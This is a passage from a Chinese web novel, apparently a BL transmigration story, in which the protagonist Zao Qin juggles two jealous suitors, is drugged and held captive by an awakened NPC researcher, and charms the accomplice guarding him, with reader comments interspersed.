“在开会时候,有人进来敲门,说有人让传话,说我老婆在家里被欺负了。”褚风说着,准备往被子里钻,“靠……把我吓的,哪个缺德的。” 枣芩本来听着他说话,发觉他的动作,脸一皱,忙不迭阻止说:“不要进来,你还没洗澡!” 褚风一僵,坐了起来。 “我没事,应该是传错了吧。你现在回去?” 虽然宋呈并没发出声音,但枣芩肯定是得快点找机会把他放出去的,总不能让他在床底下待一晚上。 褚风扯着嘴角笑了声,“还回去干什么。” “不回去了?”枣芩胸口哽了下。 “好不容易回来。”褚风起身,一边膝盖还在床上压着,他俯身,嗓音稍哑,“马上去洗澡,洗完澡抱抱老婆。” 枣芩本来的想法是要求褚风陪他出去买东西,宋呈可以趁这个时间溜出去。 但现在又觉得,褚风洗澡的时候宋呈也可以出去,自己还不用出去一趟了。 “嗯。”枣芩点点头。 见褚风盯着自己,也没有进卫生间的架势,枣芩小声催他,“你快去。” 褚风压着往上挑的嘴角,“想抱抱了?” “……”枣芩沉默。 褚风作势准备脱掉穿了一天的上衣,“也可以先抱抱。” 其实并不脏,但枣芩总觉得他在外面一天,肯定沾了很多灰尘。不过他衣服里面总是干净的。 眼看着他真要脱,枣芩微抿的粉润嘴巴松开,“……你再不去洗,就不准抱了。” 卫生间淋浴的水声很快响起来。 第96章 第 96 章 谈过几次恋爱 因为枣芩醒着, 褚风这次可以开着灯洗澡。 厚实的磨砂门上晕开光,身旁短暂安静下来。 枣芩谨慎端坐了几秒无事发生后,才转身, 并没看到宋呈从床另一边出来。 应该是不知道褚风进没进去卫生间, 枣芩回过头, 准备俯身到床边提醒宋呈出来。 枣芩腰还没弯下去, 眼前突兀出现一只骨节分明,手指瘦长的大手, 它五指微曲, 抓按住了枣芩身下蓝白格子的床单。 明明知道是谁,枣芩还是被吓得咽了下口水。 宋呈像只动作矫捷的黑豹, 冷肃而又悄无声息从床底出来,过程中几乎没发出声音。 他没起身,保持屈着一边膝盖的动作,抬起眼皮看枣芩, 眼底有些说不清道不明的晦暗。 倒是没有正常人可能会被发现大晚上来别人家里,还藏在床下该有的紧张。 枣芩只觉得一眨眼, 宋呈的脸就出现在了自己面前,也不趁时间快点离开,就在他床边自下而上盯着他。 枣芩瞥了眼卫生间的方向,里面的水声没停, 但又好像随时会停。 他绷起粉粉白白的小脸, 小声催促宋呈:“你看我干什么,你快走啊。” 宋呈牙根不动声色咬着,按在床单上的手指缓缓握成拳,喉结滚动,压抑着自己现在就带枣芩走的冲动。 隔着床, 他亲耳听到两人之间的亲密对话,当时脑中嗡的一声,神经都连带着被不知名的愤怒点着,理智堪堪压住了他出去的冲动。 他不愿意给枣芩带来烦恼。 否则,他怎么可能怕被褚风发现,褚风能拿他怎么样? 枣芩坐的不舒服,换了动作,俯下身趴着朝宋呈凑了凑,嘟囔一句,“真是的……你躲了才别扭。” “他洗澡很快,你再不走等他出来,你就要在床底下待一晚上了。”枣芩依旧小声小气,全神贯注说着。 没注意到他的动作带动宽松的领口,一晃一晃,半遮半掩。 不管是白的,或是粉红的。 片刻后,宋呈薄唇动了动,才找回了自己的声音,有点哑,“今天下了点小雪,很漂亮。” 枣芩听到他的话脸上浮现出茫然疑惑,他并不知道今天有没有下雪,而且宋呈忽然这么说很怪。 宋呈话锋蓦然又转了,他嗓音暗哑下来,几乎是用气音,“我也能抱吗。” 就像枣芩会和褚风做的那样,也施舍给他些,这样才算尽量公平。 “……你够了”枣芩闭了下眼,坐起身,别开视线微蹙起眉,脸上热得慌。 宋呈肯定就是听到他和褚风说的话,产生了奇怪的想法,才在这里拖拖拉拉。 枣芩又看了眼卫生间的方向,牙齿磨咬唇肉,别扭又含糊说:“你身上太脏了,明天再说吧,明天去找你,你先走。” 宋呈呼吸发促,“明天来找我。” 枣芩自暴自弃快速点点头,只觉得显得好像自己生怕被发现似的。 他目送宋呈起身离开,舒了一大口气。宋呈虽然没有蹑手蹑脚,但也确实没发出什么声音。 本该伴随着他的离开,结束这荒唐的一晚上。 可宋呈还没走几步,安静房间内,卫生间的门轻飘飘的开了。 褚风从里面走出来,身上的衣服整整齐齐穿着,水都没怎么沾湿。 空气骤然间微妙的如同紧绷的丝线。 枣芩悄悄屏着呼吸,对上了褚风的视线,枣芩眨眨眼睛抿住了唇。褚风的下三白眼中没什么惊愕情绪,平静在两人之间来回看了眼。 一时间谁也没有说话。 片刻后,褚风率先打破僵局,他冷冷扯开唇,“你来我们家有事吗?” 宋呈看了眼枣芩,话语中同样透着冷气,“我找他商量搬去我那边。” 褚风顿了顿,挑了眉:“哦,他同意了?” “他在考虑。” “没有同意的话能走了吗?”褚风指了下门,心中悬着的某个念头稳了些许,“就算是副首领,应该也不能随随便便进别人家门,躲在别人床底下吧。” 他不可控制眯了眯眼,“那会很难听。” “我不在意。”宋呈想做的事,所有人的意见都不会在意,更别提一群npc。 “或许是该和你说一声,枣芩在这里不安全,而我会一直守着他。你连你自己都顾不好,总不能阻止他过得更好。” 褚风怒火攻心,打断他:“他同意了?” 宋呈太阳穴跳了跳,“……” “那就不劳你费心了,你现在可以走了。”褚风赶客的意思不能再更明显。 门关上,枣芩脱掉没来得及脱的袜子和睡裤,刚刚都被他弄脏了。他缩回被子里抱住自己的头,手臂碰到自己的脸蛋,滚烫异常。 这是怎么搞得,怎么就成这样了呢。枣芩刚刚生怕他们会打起来。 枣芩不觉得自己有什么问题,他就是好好待在家里而已,可现在搞得就好像……偷情被发现的那种。 脸不自觉烧得更厉害,枣芩抖着睫毛闭上眼。 褚风这次是真的洗澡,出来时赤裸着上身,携着一身水汽,头发基本已经擦干,不知道在想什么。 枣芩只看了一眼就别过头去,继续缩着。 褚风按灭灯。 屋内陷入一片黑暗,只有窗外漏进来的一点光线得以照明。 被子短暂掀开一瞬,一具温热身体从枣芩身后抱上来,手臂跟条蛇似的缠住枣芩的腰,箍得不正常的紧。仿佛稍微松开,枣芩就会从他怀中消失。 枣芩也搞不懂自己干嘛要解释,他和褚风也不是需要解释的关系,他轻轻拍了拍褚风的手臂,“他是自己来的,我本来在好好睡觉……” 褚风停顿一会:“嗯,你为什么要和我解释?” 抱着枣芩的手臂松了。 枣芩转过身面对他,感觉他还不是很相信的样子,“真的啊,我本来还以为是你、” 一张一合的嘴唇被轻柔吻上,褚风的手按住了他敏感的后腰,揉了揉。枣芩的话立马湮灭了。 枣芩的下唇肉被磨着,好闻的气息从张开的唇缝溢出来,勾着褚风舌尖往里探。他先是离开了瞬,在枣芩稍愣的时候,继而重新吻上去,着迷又贪婪的一点点侵占。 褚风身上瞬间灼热起来,大手不自觉揉按着枣芩的背,把枣芩按得遏制不住哼哼出声。 轻轻几声,褚风喘息声重了又重,鼻尖不断喷着热气,想让枣芩多舒服些。 嫉妒、醋意、焦虑、烦躁,这些好像都是快乐的副作用。 他们两个才是一对,而他是个外人。 褚风今天是这样的感受。 都是假的,只有吞咽枣芩的口水,与他亲密接触,听到他愉悦的哼声,那心脏又麻又爽的快感是此刻能把握的。 在把枣芩弄得意识都不太清晰时,他才终于喘着气问出最想问的,“你会跟他走吗?嗯?” 枣芩含含糊糊收回舌头,“不,不跟他。” 褚风满足地吻了吻他湿润的脸颊。 枣芩不自觉抿了下嘴唇,出门前他认真对着镜子看过了,没有明显被亲过的痕迹,只是稍微有一点点胀。 今天褚风出门后,门缝里就被塞了张纸条,写了地址时间,以及一个戴眼镜的笑脸,画得很传神,一看就知道是江士修。 可他开门张望,却已经没了人影。 江士修所在的区域很特殊,住的都是研究人员,江士修就住在第一层,枣芩很快就找到了。 江士修定的时间是晚饭时间,路上没什么人,应该是刻意定的,让枣芩幻视电影中的卧底秘密会面。 枣芩心怦怦直跳,对着陌生的房门敲了敲,就听到脚步声靠近,他收回手。很快江士修开门,露出了那张带着笑意的面孔。 枣芩一进去,他就在身后关上门,边说着边往一旁走,“先坐沙发,我给你倒杯水。” “嗯。”枣芩点点头。 他到沙发上坐下,并着膝盖,好奇张望着屋内摆设。技术人员就是受重视,还有漂亮厚实的大地毯。 江士修给他倒了杯加了蜂蜜的温水后,就坐到他对面,他说起,“我昨天回来的路上看到褚风挺着急的跑回去了,是发生什么事了吗?” 枣芩不好意思说,也觉得没必要说这些,半真半假糊弄过去,“没事啊,就是他以为我生病了……那个,我们先看线索吧!” 这才是当务之急。 江士修被枣芩一提醒,恍然起身,“你说的对,你先喝水润润嗓子,我进去拿,我们有的话要说了。” 枣芩眼睛亮了亮,悄悄松口气后用力点了下头,看起来很乖巧。 江士修转身往一扇门走去,枣芩捧起玻璃水杯喝了一小口润嗓子,甜甜的,很特别的蜂蜜,他忍不住又喝了两口。褚风忙起来的这段时间他都没怎么去过这里的商店,今天回去的路上可以买点糖果吃。 江士修的脚步倏地停住,转身看了枣芩两秒,忽然咧开笑,坐回了位置上。 枣芩呆愣了下,奇怪地眨着眼睛。 还没开口问他怎么了,江士修已经说:“没事嘴唇会是这个颜色?难道你们三个人没发生什么事吗?” 他脸上的笑容消失,手肘抵在膝盖上,有些困惑审视的对着枣芩,忽然像变了一个人,“……我真的很好奇,你是怎么做到在这两个人中间周旋的,有歇的时间吗?” 他话中的恶劣如同绵里藏针,枣芩迟钝地发觉,睁大眼睛想要说什么,可是睫毛颤了几颤,眼前的一切都越来越模糊。 枣芩还来不及作出反应,就倒在沙发上。 他的身体好像被人抱起来,不是公主抱,是抱小孩的姿势。他的头靠在那人肩上,连思考是谁的力气都没有。 · 明亮顶灯照在手中的物资统计表上,宋呈垂眸看着,视线一瞥,看到了手旁的纸张。 那上面有不知道什么时候写的,好几个龙飞凤舞的‘枣芩’。 天已经黑了,他一直等在这里,枣芩的承诺没有兑现,看样子兑现不了了。褚风不会让枣芩来见他,他应该想别的办法。 外面的喧哗声让宋呈皱起眉,他放下整理表,抬眼看向门,等有人进来解释。 几秒后,门被一脚踢开。 门板撞在白墙上,发出巨响。 看到来人,宋呈只掀了下眼皮,眉头皱得更紧。 褚风目眦欲裂,仿佛要杀了他一般盯着他,“人呢?” 枣芩答应他不会跟宋呈走,如果离开,只可能是宋呈迫使。 “枣芩在哪里?”褚风牙关紧咬,阴恻恻挤出这几个字。 身后有护卫队满头大汗,姗姗来迟。 宋呈不可控制心跳变快,他表情一变,在护卫队要上去控制褚风时,几步上前,“你最后一次见他的时间地点。” 褚风见宋呈这幅模样,瞬间如同被一大桶冰水从头泼下,浑身冰冷。 枣芩缓缓睁开眼,看着眼前的一切,思绪还没有回笼。 灯光明亮,墙壁地面都是白色的,几乎没有阴影存在的地方。这个空间放眼望去有一百平左右,有很多实验台,看着像一个实验室。 就在枣芩面前不远处,有一个铁制台面,很像电视剧里法医用来验尸的地方,上面凌乱放着束缚带,以及…一个枕头。 枣芩轻轻皱了下眉,他怎么会出现在这种地方,片刻后,枣芩迷迷糊糊想起了自己记忆最后发生的事情。 ——他被江士修下药迷晕了。 枣芩若有所思,缓缓垂下了眼,想要站起来才发现自己被绑在一个沙发上。 “醒了?”江士修的声音近在咫尺。 江士修摘下手套,步伐中携着不易察觉的急切,来到枣芩身边,“枣芩。” 枣芩身体被绑在单人沙发上,头软软靠在椅背,雪白小脸缓缓转向他,单纯而无害的长相,那上面浮现出一丝迷茫神色,慢吞吞眨眼睛看着他。 江士修屏息一瞬。 他给枣芩用的剂量极少,也只喝了一口,不应该晕半天。 他没忍住问了秦金铄,对方竖着手指发誓绝对安全,检查了才发现枣芩睡着了。 他一直守在身旁,直到枣芩刚才转醒。 可现在枣芩的样子,怎么都不像没事。 他指尖稍麻,蹲下身,握着枣芩的肩膀轻晃几下,“枣芩?” 好在片刻后,枣芩缓了过来,眼底明晰不少,板着那张没什么攻击性的脸,斜斜瞪了他一眼就别过头不看他。 “还能睡着,心挺大。”江士修评价道。 他往上看了眼,“现在整个基地都在找你,明明已经是半夜了。你的老公们真不是好的领导者,看这个世界的普通人多没人权。” 枣芩没理会他说的话,只是问他,“你骗我?” 落在江士修眼里有点可怜、有点委屈巴巴。他靠在一旁的实验台边,胸腔怪异的痒,“怎么说?” “你的任务和我的不一样对不对,你要干什么?”枣芩想要从他这里获取一个答案。 江士修有些无奈,被搞得笑了声,“我真没见过像你这么笨的玩家,到这个世界的我没见过新手。只有你,过去是怎么活下来的?” 枣芩琥珀眼睁大,睫毛快速颤抖起来,好像被吓到了,“你不是玩家……” “为什么这么说,我不是玩家我怎么知道的这些。”江士修再次来到枣芩身边,单手拉了把椅子坐下。枣芩表情呆呆的摇摇头。 他本来要把枣芩绑到实验台上,以往的很多次他们都是这么做的,最多给他多拿个枕头。但他反应过来时,他已经把人抱到了软沙发上。 枣芩娇气,躺在那么硬的地方还被绑起来,光哭都要哭很久,浪费他们的时间。 “笨。”江士修看了眼实验台,“那你觉得我费心思把你带到这里是为什么?” 枣芩依旧是摇摇头。 “当然是要用你做实验,帮助我们去你们的世界。我会好好打开你,找到你哪块区域负责了和系统的连接。”他点了点自己的头,“你是有史以来所有玩家里,最好骗的。” 枣芩努力把自己往沙发了缩,好像被他的话给吓坏了,下一秒就要掉出眼泪来。 “够了够了,你别吓唬他了。”秦金铄实在忍不住开口。 枣芩实打实被吓了一跳,肩膀抖了下,看向不知从哪里冒出来的人。 他认识对方,是张很眼熟的脸,在他来到这个基地时,给他和褚风带过路。后来对方还来过他住处一次,通知褚风进外出队。 没想到会跟江士修是一伙的。 秦金铄手摸了下鼻子,“你别害怕,他就吓唬你的,不会那么对你。” 枣芩垂下了眼,眼底闪过一点错愕,其实他想过很多可能性,但现在的这种状况确实没想到。 npc觉醒,甚至想到真实世界去,而且看起来像自行觉醒,现在还知道很多事情。 枣芩倒不是真的害怕他们会对他做什么,他有不少保命道路,江士修说的那种手段根本伤害不到他。 他心里郁闷的想,他们真的觉得他那么笨蛋吗。 江士修明明就很可疑。 不管是晚上来到他家,说是有线索结果什么有用信息都没说出来。又或者对着他挑拨他和宋呈的关系。 还有迫不及待的希望枣芩单独去他住处,那一刻都不想等的样子。 枣芩只是不确定,不代表没怀疑。 不管江士修是真的玩家有线索,还是故意把枣芩骗过来。 都代表着,枣芩要摸到一些核心的东西了。 枣芩咬着嘴唇,怯怯抬眼,对上江士修刻意带着恶意恐吓的眼神,又低下头。 其实看江士修这个样子,他的保命道具好像也用不上…… 枣芩缩在沙发里,低着头没让他们看到他的脸,挤出两滴眼泪后才稍稍抬起下巴。 他怀疑自己有当演员的天赋,扮起可怜又无助的笨蛋简直得心应手。 系统:【因为本色出演?】 枣芩:…… 无语了。 枣芩:【不会说话的系统我要送给江士修。】 系统:【那演技很出众了】 但显然枣芩的演技对待他们很够用。 枣芩泪水悄悄流下的瞬间,秦金铄一直在看着的眼睛都瞪直了,“诶!” 他对着江士修暗示,做口型,“吓哭了!咋办啊?” 江士修摇摇头。 过了片刻,枣芩吸吸鼻子,眼睫被眼泪沾湿,有些黏在了一起。他整张脸都有些湿意,小声说:“别杀我……” 江士修:“不是不可以,但你总要提供点帮助给我们,是不是?” 枣芩点点头。 “你和我们的想法一致就好,那我们会问你一些关于外面,应该叫生死之界的问题,知道的都告诉我们。可以?”江士修语气温和的好像之前。 枣芩点头,“嗯。” 江士修:“你经过几个世界了?” 枣芩想了想,一点不心虚,“2个。” 江士修若有所思,和他想的差不多,“之前你是家庭状况,身份背景。” “我、我没有背景,就普通的那种家庭。”枣芩抿了下唇,眼睛抬了抬。普通的吸血鬼家庭。 江士修:“富二代?” 枣芩:“啊……算是吧?” 那也不是他的真实家庭,按照系统说的,那都是给他的灵魂灌输的记忆而已,他哪知道他到底是不是富二代。 “不能说可能,要说是或不是。” 枣芩:“……是。” 江士修:“谈过几次恋爱?只是暧昧也算。” 秦金铄插嘴补充:“原本生活的世界和这种世界都算。” 枣芩呆滞:? 【这对吗?】 【哥们,你露出麻椒了】 【《生死之界的问题》】 【我请问了,是在跟我老婆玩什么play吗,可怜的被绑架威胁的泪汪汪小美人,以及两脑残】 第97章 第 97 章 孔雀开屏 秦金铄毫不遮掩地盯着枣芩, 仿佛枣芩的回答对他来说有多么的重要。 枣芩咬了下下唇,在思考,他犹犹豫豫说:“……是。” 秦金铄眉毛错愕一抬, 愣了, 一时没反应过来, “是?” 这是个什么回答? 但很快, 他就想起了江士修让枣芩只回答是或者不是。 秦金铄禁不住笑出声,是被枣芩刚刚纠结困苦的小表情逗的。 江士修明显停顿了下, 僵硬唬人的气氛一下消失了大半, “……正常回答,别装傻。” “我没有啊。”枣芩声音很小的抱怨一声。 他在这个处境下也不太敢大声怼回去, 平时又总被惯着,现在气不过,只能小发雷霆。 江士修嘴角上扬一点微不可查的弧度,察觉不对劲后立即压下去。 “两个。”枣芩含糊道。 江士修:“宋呈和褚风, 只有他们?” 枣芩快速点点头,只想快点过去这个话题。 江士修平静盯了他两秒, 才起身,随手将椅子推回原本的位置。 继续问,“玩家在什么条件下才能去往更外面的世界?” 枣芩身上的光因为他起身而遮挡了一部分,但枣芩自己似乎并没有注意到, 他的身体比枣芩大了一大圈…… 他们都站着, 枣芩稍微仰头才能看他们,清透漂亮琥珀眼看起来很诚实,不擅长撒谎,“我不知道,可能要完成很多很多任务吧。” 江士修后面又问了几个问题, 有些称号枣芩听都没听说过,像什么组合的名字,但他都回答了。 答案基本都是,“不知道”“好像是”“应该吧”。 刚才的问题好像就只是一个意外。 江士修貌似也不在意他问了半天,什么有用的新信息都没问出来,这件事。 还对枣芩说:“还算乖。” 主要枣芩真的很多不知道,他们算是抓错人了。 枣芩心里蛐蛐,谁叫他们图简单好抓。 他会让他们不仅得不到一点线索,还要成为他成功路上的垫脚石。 “哔哔哔……” 并不算响亮的声音蓦然响起,持续不断的低鸣,他们的注意力都被吸引过去。 只有枣芩被江士修挡住了视线,尽管歪了歪头,也依旧看不到。 江士修没什么情绪的眸子藏在镜片后面,回过头看了枣芩眼,对秦金硕平静说:“我先出去了。” 秦金铄点头,江士修转身离开,随着一声细微的机械声后,他出了一道门。 枣芩才看到刚才发出‘哔哔’声音的,是不远处一张办公桌上黑色的小东西。 看起来像某种呼叫机、传讯器。 他们这个团体看起来并不止两个人,还有人在给他们通风报信。 目前看来,很有可能是怀疑到了江士修,或者是调查到了他。 枣芩虽然觉得自己独自也能完成任务,但若是宋呈发现江士修的异常,那也是再好不过,任务的进度说不定能更快点。 所以怎么样对他来说都不坏,枣芩还挺乐观的想。 一张笑嘻嘻的脸冷不防凑到他面前,枣芩下意识往后一缩,对上了秦金铄黑亮的眼睛。 秦金铄躬着腰,低声说:“只剩下我们了。” 秦金铄其实心里痒痒麻麻的,还有点慌。这还是第一次,就他和枣芩两个人待在一个空间。 枣芩睫毛抖着不说话,雪白脸上哪怕凑得近了都看不到毛孔,嘴唇粉粉的,唇缝颜色略深,合得很紧。 秦金铄咽了下口水,“你怎么不说话了?” 难免带上了几分迫使意味。 江士修在的时候他还说了很多话,不想和他说话吗,还是别的。 秦金铄手插在裤兜里,片刻直起了腰,心里有些不是滋味。 不过确实他应该也没给枣芩留下好印象。 看着枣芩,他突然就福至心灵,抽出手蹲下身去,骨节分明的手指扯了下枣芩小腿上的绑带。 抬头问:“这样肯定不舒服吧,江士修弄得挺紧的。” 果然,枣芩垂眼看他了,终于小声开口,“嗯,有点难受。” 秦金铄胸腔震颤,单膝跪地,也不管抓来枣芩的那人同不同意,三下五除二把桎梏他的绑带全都解开,起身丢到一旁的桌子上。 枣芩坐的时间有点长,动作慢吞吞站起来,像在复健,感觉浑身都快要麻掉了,胳膊腿全都不舒服。 他站在沙发边,手指撸起袖子,露出白瘦的一截手臂,低着头看了又看,绑带并没有给他皮肤留下痕迹。 可有点不舒服的感受是真的,枣芩手指随便揉按几下。 真讨厌……江士修讨厌值9分,面前的这个好一点,6分讨厌。 因为他比江士修好说话,只是从犯。 放下袖子再抬头,秦金铄依旧在看着他,视线飘忽地挪开。 他摸摸高挺的鼻子,“你还记得我不?你来基地的第一天我们就见了。” 枣芩点头,“记得。” 他记得很清楚,当时有两个人带他们到住处,其中一个就是秦金铄。 当时另一位说话声音很低,但还是被枣芩隐隐听到,是在说自己。而秦金铄没有一点遮掩,很大声说枣芩漂亮、说没见过他的姓。 当时把对方搞得很尴尬,很无语。 秦金铄显然也记得自己干过什么,他笑了下,直白说:“其实,确实有想引起你注意的成分……不过我当时说的是我的真实感受。” 枣芩抿了下唇,“噢”了声。 讨厌值减1吧…… 秦金铄得到他的回应,话不由得更多,“你记不记得还有一次,你和别人走在一起。” 他甚至不愿意说褚风的名字。 “我撂倒了我朋友那次。其实不是刻意的,你别误会。” “不过我力气确实挺大的,他们都说经常待实验室的都是江士修那种,戴眼镜的书呆子。我可能就不是大家刻板印象那种,我经常锻炼,我每天醒来第一件事情就是做俯卧撑。” 枣芩不解:…… “我知道你是玩家的时候其实不怎么惊讶。”秦金铄停了两秒,接着说。 “因为之前我们同一个学校,我都对你完全没印象,如果是你在的话,我们应该会互相认识。” 枣芩小脸拧巴了下,搞不懂他想表达什么,完全属于礼貌回答,“是吗。” “肯定。我肯定会认识你的,你也肯定会看到我在篮球场上,我打篮球也还行。”他说:“之前学校让我进校队,我嫌太耽误时间了,而且我肯定和体育生不一样,我还要兼顾学业。” “哇,那你是校园男神喽。”枣芩语气没什么起伏,都有闲心注意到他冒红光的脸和耳朵。 谎扯多了,心虚的吧。 讨厌值给他加两分,真的很装。 被枣芩看着,秦金铄心脏猛跳了跳,仿佛电流窜过,浑身热得慌。 他捋了把头发,露出分明的眉骨,整张脸愈发红了, “那不至于,我不是传统的学霸,我高中的时候前两年都在玩,他们都说我是…校霸,但我没欺负过人。最后一年我才开始学,结果就考了个高分…” 枣芩一股无名火,随着他每一句话越烧越旺,忍无可忍地咬咬牙。 讨厌值满分! 这人到底有完没完了,一句接着一句,没有一点眼力见,这有什么好骄傲的? 【校霸学霸,双霸哥。】 【谁来看免费的孔雀开屏表演?】 “校霸。”枣芩重复了声,压下冷笑,假笑一下,“那你真厉害,我一直都是差生,不是学霸更不是校霸……” 笑一下算了。 秦金铄感觉自己跟个火炉子似的,浑身上下没有一处不是滚烫的。 他脑子嗡嗡,感觉自己说错话了,连忙说:“每个人都有自己的方向、天赋,你在学习成绩上没有那么好,不代表你在、” 枣芩轻哼了声,已经完全不想听了,打断他,“校霸,差生已经要饿死了。” 秦金铄着急忙慌顶着红脸出去,他走的和江士修不是同一个门。也没有再把枣芩绑起来。 枣芩呆了片刻,才意识到这个地方真的只剩下他一个人了,环顾了一圈周围,他并没看到什么类似监控器的东西。 他先坐回沙发等了会,没有任何人出现,又过了会儿他确定没有问题才快速起身,朝门跑去。 跑了一圈,所有的门都是关着的,要开需要用指纹解锁。 他不死心,大着胆子翻找,像个小鸟一般飞来飞去,企图找到点有用的东西。 心跳如擂鼓般跳动,在听到细微动静从外面传来时,枣芩立即坐回沙发上,装作从没有起来过。 秦金铄明显是跑回来的,有些气喘吁吁,但脸上的红消退了大半。他将食盒放在桌子上,拖了张别处的椅子过来。 他对着枣芩邀功:“都是你喜欢的。” 枣芩肚子饿得咕咕叫,坐椅子上拿起筷子,两眼亮亮的看着秦金铄打开所谓‘他喜欢’的食盒。 什么他喜欢的。 明明只是他平时常吃的。 确实大部分都是枣芩喜欢的,但里面还有一部分,是褚风为了健康让他吃的,他自己并不喜欢。 他闭着眼睛都知道,秦金铄肯定偷偷观察过褚风点什么菜式回家。 枣芩什么也没说,往嘴里送了一口白米饭,脑中想着事情。 才吃了秦金铄买的一小半不到,他差不多就饱了,状似随口问:“江士修忽然离开是有什么事情吗。” 秦金铄没对他隐瞒,又或者觉得没必要对他隐瞒,“有人看到他昨天晚上在你那层出现过。” 他停顿了下,“他可能会被抓起来,逼问你的下路,应该还会对他动手。你担心他吗?” “……”真好意思问。 他为什么要担心骗自己的人。 秦金铄盯着他的表情,“开玩笑的,我就是看你们关系不错。” “不错吗?我自己怎么不知道……”枣芩抬着眼睫反问,语气透着不悦,甚至忍不住轻轻皱眉。 随后轻飘飘说:“我跟他见面都没有跟你见面次数多,其实我对你的印象要更深刻一点。” 校霸学霸打篮球撂倒朋友的装b男。 秦金铄愣了愣,心跳漏拍,他不自觉开始稳定着自己的呼吸,甚至能感受到呼吸中,心跳带来的震颤。 之后他的话就变少了。 虽然这人很爱装,但是比江士修好对付,还不会自以为是的吓唬枣芩。虽然他装的时候,枣芩心里很气,但不得不说,枣芩对他的印象确实要更好。 “他最近应该不会下来。”秦金铄道。 他别过头,走向一扇门,按上手指。 门开后,里面是一间屋子,干净整洁应有尽有。 “可以睡这里。”他站在门口,枣芩进去后,补充说:“你需要的话,我可以打地铺陪你。” 枣芩已经坐在了床上,打量着房间,“不用了,你回去吧。” 说完,忽然捂唇打了个哈欠,眼中弥漫开一点水意。 秦金铄听他这么说,只点了头,步伐缓慢转身要离开时,身后响起枣芩的声音,“晚安,明天见。” 秦金铄立刻回过头,枣芩对着他眨眨眼睛,一起一落的睫毛都像是扇动他的心绪。 他勾起唇角,“嗯,明天早上你想吃什么?” 秦金铄回到自己屋里,盖好地毯,恍惚地洗漱完躺在床上,竟一点睡意都没有。 他恨不得立刻快进时间,提着买好的早餐去见枣芩。 他得快点睡,一觉醒来就到明天了。 可这么想着都硬是翻来覆去睡不着。 枣芩现在是不是也没睡着,他今天昏睡了那么长时间,还有睡意吗?在陌生的地方睡不睡得着? 就这么胡乱地涌出各种各样的想法。 天亮秦金铄才睡了会,他房间没表不知道时间,平时都是问同事,估摸着只睡了两三个小时。 而短短时间,甚至不知道有没有深度睡眠,他却做了场盛大迷乱的梦。 他起床就立即按照枣芩说的去买早餐,以防被怀疑,打消了买两份一样的想法。 外面依旧有人在寻找枣芩,从发现他失踪一刻不停持续到现在,秦金铄只随意扫了几眼。 平时都称得上从来没有独自吃饭的人,餐厅遇到熟人,他在熟人过来之前就装作没看见快步离开。 坐在桌前,一口豆浆咽下去,胃部变暖。 他侧头,他身旁的枣芩侧脸洁白,脸颊稍微鼓起来,眼睛盯着咬过一口、露出蛋黄的鸡蛋。 才确定是真实。 短暂的睡眠时间没有让他感到一丝疲惫。 秦金铄盯着枣芩把剩下的鸡蛋分三次送入口中,捧着分成两份的另一杯豆浆喝了口,然后轻轻的抿一下唇。 “我昨晚梦到你了。”秦金铄说。 枣芩被他的话吸引了注意力,眼巴巴看他,在等待答案,“嗯?梦到我在干什么呢?” 秦金铄也不明白自己为什么提起梦,他明明不敢告诉枣芩,可就是想说出来,“梦到,你在跟我说话。” “说什么?”枣芩好奇起来。 秦金铄吞咽口水,话在脑子里转了一圈,“忘记了。” 枣芩眼睛里的光亮立即转为了失望,顿时觉得没意思。 秦金铄怎么说的出来,他要是敢说出来,枣芩肯定会凶巴巴瞪着他,说他是个变态,立刻离他远点,再也不跟他说话了。 吃过饭后,秦金铄离开了一段时间。 再次回来的时候,他表情怪怪的对枣芩说:“江士修洗清嫌疑了,他等会就过来。” 枣芩手指攥了攥,这对枣芩来说可不是好事。 这等会一直到了下午。 桌子上黑色的传讯器第二次响起,秦金铄眉头皱起,走过去看了眼,说:“他要过来了。” 枣芩呆了片刻,赶紧双腿并着,坐回单人沙发上。秦金铄一愣后,枣芩小声说:“快点呀。” 要被发现秦金铄偷偷松开他,之后他肯定不能自由活动了。 秦金铄沉默两秒,俯身给他绑回去,系好卡扣,“紧不紧?” “还好,就这样吧。” 江士修洗漱完来到底下,看到的就是这样一副场面。 枣芩像昨天他离开时一样,还被绑在单人沙发上,小腿腰身都被紧紧束缚,没有丁点活动的空隙。 江士修不免没控制住变了脸色,眼下的青色痕迹让他漏出一些情绪。 他对秦金铄低声问:“他一晚上都在这里?” 秦金铄看向枣芩,与他对视上,枣芩隐晦点了下头,眼神有点可怜。 秦金铄也点了头,“对啊。” 枣芩这才悄悄松口气,只要江士修发现不了,他就一直能自由活动。 江士修咬着牙,手攥成拳头,手背青筋根根显现,他没看出来秦金铄是这样的蠢东西。 秦金铄:“怎么了?” 枣芩的性格,坐了一晚上动弹不得,害他这样的人在他那里是天大的罪了。 江士修冷冷从齿缝里挤出几个字,“你的喜欢够廉价。” 秦金铄侧脸绷了瞬,但也仅仅一瞬,什么也没说。 江士修两步来到枣芩面前,枣芩侧着脑袋靠在靠背上,闭着眼睛,睫毛轻轻颤抖,眉心轻蹙着,看得出他身体的不适。 他一言不发给枣芩解开束缚他身体的绑带,枣芩依旧不动。 江士修喉结动了下,才找回自己的声音,“起得来吗?” 枣芩浑身像丢了骨头,一副虚弱到站都站不起来的模样,肉眼可见的,脸上写满了难受。 秦金铄立即来到他身旁抬起手臂,枣芩的手自然搭了上去,小声说:“我的腿是不是断了?” 秦金铄抿了下唇,压下自己的笑意。 现在就好像,他和枣芩是一伙的,江士修是外人,什么都不知道。 这是独属于他和枣芩的秘密。 站在储存间内,江士修忍了又忍,眼神不知不觉变得暴戾,“你是有多蠢?” 秦金铄神色淡淡,“什么?你也没说要把他放开,现在在这里对着我发疯?你不是要吓唬他吗,我在帮你,不是吗?” 江士修脸色愈发难看。 秦金铄:“行了,我出去吃饭了。” 桌上摆放着晚餐,但并不多,也就堪堪够枣芩和江士修吃,多了秦金铄就不够了。 江士修说秦金铄可以自己出去吃,秦金铄才没那么蠢。 他走了岂不是就剩下枣芩这只单纯的小羊,和一头很会演的恶狼。 他开着玩笑,硬是从里面一样分出一点。 枣芩忽然惊奇出声,“你青团里面的馅怎么跟我的不一样。” 秦金铄顿住,“我的给你吃。” 枣芩听到他这么说,嫌弃地摇头,“不要……你都已经咬过了。” 绿色的青团垫着糯米纸,在他手中显得格外的小,雪白的小脸蓦然凑上来,手搭着他的手臂,鼻尖凑过来轻嗅。 秦金铄一动不动,僵着身体任由他贴过来。 枣芩起身说:“闻起来不怎么样,吃着好吃吗?” 秦金铄直勾勾的视线仿佛拉着黏糊糊的丝,粘在了枣芩身上,他自己却浑然不知。 枣芩歪了头,“嗯?” 